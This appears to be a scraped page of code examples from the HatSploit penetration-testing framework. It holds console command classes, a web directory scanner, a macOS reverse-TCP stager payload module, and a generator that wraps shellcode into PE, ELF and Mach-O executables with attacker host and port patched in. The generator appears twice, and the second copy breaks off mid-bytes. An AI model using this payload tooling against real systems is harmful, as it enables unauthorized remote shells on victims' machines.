Exemple #1
0
    def __init__(self):
        self.parser = Parser()
        self.config = Config()
        self.badges = Badges()
        self.colors = Colors()

        self.colors_script = ColorsScript()
Exemple #2
0
class HatSploitCommand(Command):
    config = Config()
    local_storage = LocalStorage()

    history = config.path_config['base_paths']['history_path']
    storage_path = config.path_config['base_paths']['storage_path']

    global_storage = GlobalStorage(storage_path)

    usage = ""
    usage += "history <option>\n\n"
    usage += "  -l, --list   List all history.\n"
    usage += "  -c, --clear  Clear all history.\n"
    usage += "  on/off       Turn history on/off.\n"

    details = {
        'Category': "developer",
        'Name': "history",
        'Authors': [
            'Ivan Nikolsky (enty8080)'
        ],
        'Description': "Manage HatSploit history.",
        'Usage': usage,
        'MinArgs': 1
    }

    def run(self, argc, argv):
        option = argv[0]
        if option == "on":
            self.local_storage.set("history", True)
            self.global_storage.set("history", True)
            self.output_information("HatSploit history: on")
        elif option == "off":
            self.local_storage.set("history", False)
            self.global_storage.set("history", False)
            self.output_information("HatSploit history: off")
        elif option in ['-c', '--clear']:
            readline.clear_history()
            with open(self.history, 'w') as history:
                history.write("")
        elif option in ['-l', '--list']:
            using_history = self.local_storage.get("history")
            if using_history:
                if readline.get_current_history_length() > 0:
                    self.output_information("HatSploit history:")

                    history_file = open(self.history, 'r')
                    history = [x.strip() for x in history_file.readlines()]
                    history_file.close()
                    for line in history:
                        self.output_empty("    * " + line)

                    for index in range(1, readline.get_current_history_length()):
                        self.output_empty("    * " + readline.get_history_item(index))
                else:
                    self.output_warning("HatSploit history empty.")
            else:
                self.output_warning("No history detected.")
        else:
            self.output_usage(self.details['Usage'])
class HatSploitPayload(Payload, TCPClient):
    config = Config()

    details = {
        'Category': "stager",
        'Name': "macOS aarch64 Membrane Reverse TCP",
        'Payload': "macos/aarch64/membrane_reverse_tcp",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Membrane reverse TCP payload for macOS aarch64.",
        'Dependencies': [''],
        'Comments': [''],
        'Architecture': "aarch64",
        'Platform': "macos",
        'Risk': "high",
        'Type': "reverse_tcp"
    }

    options = {
        'LHOST': {
            'Description': "Local host.",
            'Value': TCPClient.get_local_host(),
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        }
    }

    def run(self):
        local_host, local_port = self.parse_options(self.options)

        remote_data = base64.b64encode(
            (local_host + ':' + local_port).encode())
        remote_data = remote_data.decode()

        self.output_process("Generating payload...")

        try:
            binary = open(
                self.config.path_config['base_paths']['data_path'] +
                'payloads/macos/aarch64/membrane_reverse_tcp/bin/membrane.bin',
                'rb')
            payload = binary.read()
            binary.close()
        except Exception:
            self.output_error("Failed to generate payload!")
            return

        return payload, remote_data, HatSploitSession
Exemple #4
0
    def __init__(self):
        self.io = IO()
        self.tip = Tip()
        self.jobs = Jobs()
        self.execute = Execute()
        self.loader = Loader()
        self.config = Config()
        self.badges = Badges()
        self.banner = Banner()
        self.colors = Colors()
        self.local_storage = LocalStorage()
        self.modules = Modules()
        self.exceptions = Exceptions()

        self.history = self.config.path_config['base_paths']['history_path']
Exemple #5
0
class Loader:
    def __init__(self):
        self.badges = Badges()
        self.importer = Importer()
        self.config = Config()

    def load_update_process(self):
        remote_config = requests.get(
            'https://raw.githubusercontent.com/EntySec/HatSploit/main/config/core_config.yml',
            stream=True)
        remote_config = remote_config.content
        if self.config.get_config_file(remote_config)['details']['version'] != \
                self.config.core_config['details']['version']:
            self.badges.output_warning(
                "Your HatSploit Framework is out-dated.")
            self.badges.output_information("Consider running ./update.sh")
            time.sleep(1)

    def load_components(self):
        self.importer.import_all()

    def load_everything(self):
        self.load_update_process()
        self.load_components()

    def load_all(self):
        loading_process = threading.Thread(target=self.load_everything)
        loading_process.start()
        base_line = "Loading the HatSploit Framework..."
        cycle = 0
        while loading_process.is_alive():
            for char in "/-\|":
                status = base_line + char + "\r"
                cycle += 1
                if status[cycle % len(status)] in list(string.ascii_lowercase):
                    status = status[:cycle % len(status)] + status[cycle % len(
                        status)].upper() + status[cycle % len(status) + 1:]
                elif status[cycle % len(status)] in list(
                        string.ascii_uppercase):
                    status = status[:cycle % len(status)] + status[cycle % len(
                        status)].lower() + status[cycle % len(status) + 1:]
                sys.stdout.write(self.badges.P + status)
                time.sleep(.1)
                sys.stdout.flush()
        loading_process.join()
Exemple #6
0
class HatSploitCommand(Command):
    config = Config()
    modules = Modules()
    local_storage = LocalStorage()

    details = {
        'Category': "developer",
        'Name': "edit",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Open module in editor.",
        'Usage': "edit <module>",
        'MinArgs': 1
    }

    def run(self, argc, argv):
        module = argv[0]

        module_category = self.modules.get_category(module)
        module_platform = self.modules.get_platform(module)
        module_name = self.modules.get_name(module)

        try:
            if not os.environ['EDITOR']:
                self.output_warning("Shell variable EDITOR not set.")
                editor = "vi"
            else:
                editor = os.environ['EDITOR']
        except KeyError:
            self.output_warning("Shell variable EDITOR not set.")
            editor = "vi"

        if self.modules.check_exist(module):
            if not self.modules.check_imported(module):
                database = self.modules.get_database(module)
                module_path = self.local_storage.get("modules")[database][
                    module_category][module_platform][module_name]['Path']
                edit_mode = editor + " " + self.config.path_config[
                    'base_paths']['root_path'] + module_path
                self.execute.execute_system(edit_mode)
            else:
                self.output_error("Can not edit already used module!")
        else:
            self.output_error("Invalid module!")
Exemple #7
0
class HatSploitCommand(Command):
    config = Config()

    storage_path = config.path_config['base_paths']['storage_path']

    local_storage = LocalStorage()
    global_storage = GlobalStorage(storage_path)

    usage = ""
    usage += "storage [global|local] <option> [arguments]\n\n"
    usage += "  -l, --list                List all storage variables.\n"
    usage += "  -v, --value <name>        Show specified storage variable value.\n"
    usage += "  -s, --set <name> <value>  Set storage veriable value.\n"
    usage += "  -d, --delete <name>       Delete storage variable.\n"

    details = {
        'Category': "developer",
        'Name': "storage",
        'Authors': [
            'Ivan Nikolsky (enty8080)'
        ],
        'Description': "Manage storage variables.",
        'Usage': usage,
        'MinArgs': 2
    }

    def run(self, argc, argv):
        type_of_storage = argv[0]
        if type_of_storage == "global":
            choice = argv[1]
            if choice in ['-l', '--list']:
                self.output_information("Global storage variables:")
                for variable in self.global_storage.get_all():
                    if not str.startswith(variable, '__') and not str.endswith(variable, '__'):
                        self.output_empty("    * " + variable)
            elif choice in ['-v', '--value']:
                if argc < 3:
                    self.output_usage(self.details['Usage'])
                else:
                    if argv[2] in self.global_storage.get_all():
                        self.output_information(argv[2] + " = " + str(
                            self.global_storage.get(argv[2])))
            elif choice in ['-s', '--set']:
                if argc < 4:
                    self.output_usage(self.details['Usage'])
                else:
                    self.global_storage.set(argv[2], argv[3])
            elif choice in ['-d', '--delete']:
                if argc < 3:
                    self.output_usage(self.details['Usage'])
                else:
                    if argv[2] in self.global_storage.get_all():
                        self.global_storage.delete(argv[2])
                    else:
                        self.output_error("Invalid storage variable name!")
            else:
                self.output_usage(self.details['Usage'])
        elif type_of_storage == "local":
            choice = argv[1]
            if choice in ['-l', '--list']:
                self.output_information("Local storage variables:")
                for variable in self.local_storage.get_all():
                    if not str.startswith(variable, '__') and not str.endswith(variable, '__'):
                        self.output_empty("    * " + variable)
            elif choice in ['-v', '--value']:
                if argc < 3:
                    self.output_usage(self.details['Usage'])
                else:
                    if argv[2] in self.local_storage.get_all():
                        self.output_information(argv[2] + " = " + str(
                            self.local_storage.get(argv[2])))
                    else:
                        self.output_error("Invalid storage variable name!")
            elif choice in ['-s', '--set']:
                if argc < 4:
                    self.output_usage(self.details['Usage'])
                else:
                    self.local_storage.set(argv[2], argv[3])
            elif choice in ['-d', '--delete']:
                if argc < 3:
                    self.output_usage(self.details['Usage'])
                else:
                    if argv[2] in self.local_storage.get_all():
                        self.local_storage.delete(argv[2])
                    else:
                        self.output_error("Invalid storage variable name!")
            else:
                self.output_usage(self.details['Usage'])
        else:
            self.output_usage(self.details['Usage'])
class PayloadGenerator:
    config = Config()

    pe_headers = {
        'x86':
        (b'\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00'
         b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd'
         b'\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f'
         b'\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a'
         b'\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x02\x00\xd3\x7c\xb5\x58\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\xe0\x00\x0f\x03\x0b\x01\x02\x1b\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00'
         b'\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00'
         b'\x04\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x02\x00\x00'
         b'\x1a\x89\x00\x00\x03\x00\x00\x00\x00\x00\x20\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00'
         b'\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x14\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00'
         b'\x63\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x20\x00\x50\x60\x2e\x69\x64\x61\x74\x61\x00\x00\x14\x00\x00\x00\x00\x20\x00\x00'
         b'\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x30\xc0'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00'),
        'x64':
        (b'\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00'
         b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd'
         b'\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f'
         b'\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a'
         b'\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x64\x86\x02\x00\xe8\x5d\xb6\x58\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\xf0\x00\x2f\x02\x0b\x02\x02\x1b\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00'
         b'\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00'
         b'\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x02\x00\x00'
         b'\x9a\x9e\x00\x00\x03\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x20\x02\x00\x00\x00\x10\x00\x00'
         b'\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x50\x60'
         b'\x2e\x69\x64\x61\x74\x61\x00\x00\x14\x00\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x30\xc0\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00')
    }

    macho_templates = {
        'x64':
        config.path_config['base_paths']['data_path'] +
        "utils/payload/payload/templates/macho_x64.bin",
        'aarch64':
        config.path_config['base_paths']['data_path'] +
        "utils/payload/payload/templates/macho_aarch64.bin"
    }

    elf_headers = {
        'armle':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
         b"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'mipsbe':
        (b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
         b"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
         b"\x00\x00\x10\x00"),
        'mipsle':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
         b"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'x86':
        (b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
         b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
         b"\x00\x80\x04\x08\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
         b"\x00\x10\x00\x00"),
        'aarch64':
        (b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\xb7\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00"
         b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00"
         b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00"
         b"\x00\x10\x00\x00\x00\x00\x00\x00"),
        'x64':
        (b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00"
         b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00"
         b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00"
         b"\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42"
         b"\x00\x10\x00\x00\x00\x00\x00\x00")
    }

    @staticmethod
    def ip_to_bytes(host):
        result = b""
        for i in host.split("."):
            result += bytes([int(i)])
        return result

    @staticmethod
    def port_to_bytes(port):
        result = "%.4x" % int(port)
        return bytes.fromhex(result)

    @staticmethod
    def string_to_bytes(string):
        string = string.encode().hex()
        string = '\\x' + '\\x'.join(a + b
                                    for a, b in zip(string[::2], string[1::2]))
        return codecs.escape_decode(string, 'hex')[0]

    def generate_payload(self, file_format, arch, data, offsets={}):
        if file_format in self.formats.keys():
            for offset in offsets.keys():
                if (':' + offset + ':ip:').encode() in data:
                    data = data.replace((':' + offset + ':ip:').encode(),
                                        self.ip_to_bytes(offsets[offset]))
                elif (':' + offset + ':port:').encode() in data:
                    data = data.replace((':' + offset + ':port:').encode(),
                                        self.port_to_bytes(offsets[offset]))
                elif (':' + offset + ':string:').encode() in data:
                    data = data.replace((':' + offset + ':string:').encode(),
                                        self.string_to_bytes(offsets[offset]))
                elif (':' + offset + ':').encode() in data:
                    sub = offsets[offset] if isinstance(
                        offsets[offset], bytes) else codecs.escape_decode(
                            offsets[offset], 'hex')[0]
                    data = data.replace((':' + offset + ':').encode(), sub)
                else:
                    return None
            return self.formats[file_format](self, arch, data)
        return None

    def generate_pe(self, arch, data):
        if arch in self.pe_headers.keys():
            pe = self.pe_headers[arch] + data
            if arch in ['x86']:
                pe += b'\xFF' * 4 + b'\x00' * 4 + b'\xFF' * 4
                content = pe.ljust(1536, b'\x00')
            elif arch in ['x64']:
                pe += b'\x00' * 7 + b'\xFF' * 8 + b'\x00' * 8 + b'\xFF' * 8
                content = pe.ljust(2048, b'\x00')
            else:
                content = None
            return content
        return None

    def generate_elf(self, arch, data):
        if arch in self.elf_headers.keys():
            elf = self.elf_headers[arch] + data
            if elf[4] == 1:
                if arch.endswith("be"):
                    p_filesz = struct.pack(">L", len(elf))
                    p_memsz = struct.pack(">L", len(elf) + len(data))
                else:
                    p_filesz = struct.pack("<L", len(elf))
                    p_memsz = struct.pack("<L", len(elf) + len(data))
                content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
            elif elf[4] == 2:
                if arch.endswith("be"):
                    p_filesz = struct.pack(">Q", len(elf))
                    p_memsz = struct.pack(">Q", len(elf) + len(data))
                else:
                    p_filesz = struct.pack("<Q", len(elf))
                    p_memsz = struct.pack("<Q", len(elf) + len(data))

                content = elf[:0x60] + p_filesz + p_memsz + elf[0x70:]
            else:
                content = None
            return content
        return None

    def generate_macho(self, arch, data):
        if arch in self.macho_templates.keys():
            if os.path.exists(self.macho_templates[arch]):
                if len(data) >= len('PAYLOAD:'):
                    macho_file = open(self.macho_templates[arch], 'rb')
                    macho = macho_file.read()
                    macho_file.close()

                    payload_index = macho.index(b'PAYLOAD:')
                    content = macho[:payload_index] + data + macho[
                        payload_index + len(data):]
                    return content
        return None

    formats = {'pe': generate_pe, 'elf': generate_elf, 'macho': generate_macho}
class HatSploitModule(Module, HTTPClient):
    config = Config()

    details = {
        'Name': "Directory Scanner",
        'Module': "auxiliary/multi/scanner/directory_scanner",
        'Authors': ['Ivan Nikolsky (enty8080)'],
        'Description': "Website directory scanner.",
        'Dependencies': [''],
        'Comments': [''],
        'Platform': "multi",
        'Risk': "medium"
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': None,
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 80,
            'Type': "port",
            'Required': True
        },
        'SSL': {
            'Description': "Server has SSL certificate.",
            'Value': "no",
            'Type': "boolean",
            'Required': True
        }
    }

    def run(self):
        remote_host, remote_port, ssl = self.parse_options(self.options)
        ssl = ssl in ['yes', 'y']

        self.output_process(f"Scanning {remote_host}...")
        file = open(
            self.config.path_config['base_paths']['data_path'] +
            'modules/auxiliary/multi/scanner/directory_scanner/directories.txt'
        )
        directories = list(filter(None, file.read().split('\n')))
        file.close()

        for path in directories:
            path = '/' + path.replace("\n", "")

            response = self.http_request(method="HEAD",
                                         host=remote_host,
                                         port=remote_port,
                                         path=path,
                                         ssl=ssl)

            if response is not None:
                if response.status_code == 200:
                    self.output_success(
                        "[%s] ... [%s %s]" %
                        (path, response.status_code, response.reason))
                else:
                    self.output_warning(
                        "[%s] ... [%s %s]" %
                        (path, response.status_code, response.reason))
Exemple #10
0
class PayloadGenerator:
    config = Config()

    pe_headers = {
        'x86':
        (b'\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00'
         b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd'
         b'\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f'
         b'\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a'
         b'\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x02\x00\xd3\x7c\xb5\x58\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\xe0\x00\x0f\x03\x0b\x01\x02\x1b\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00'
         b'\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00'
         b'\x04\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x02\x00\x00'
         b'\x1a\x89\x00\x00\x03\x00\x00\x00\x00\x00\x20\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00'
         b'\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x14\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00'
         b'\x63\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x20\x00\x50\x60\x2e\x69\x64\x61\x74\x61\x00\x00\x14\x00\x00\x00\x00\x20\x00\x00'
         b'\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x30\xc0'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00'),
        'x64':
        (b'\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00'
         b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd'
         b'\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f'
         b'\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a'
         b'\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x64\x86\x02\x00\xe8\x5d\xb6\x58\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\xf0\x00\x2f\x02\x0b\x02\x02\x1b\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00'
         b'\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00'
         b'\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x02\x00\x00'
         b'\x9a\x9e\x00\x00\x03\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x20\x02\x00\x00\x00\x10\x00\x00'
         b'\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x50\x60'
         b'\x2e\x69\x64\x61\x74\x61\x00\x00\x14\x00\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00'
         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x30\xc0\x00\x00\x00\x00\x00\x00\x00\x00'
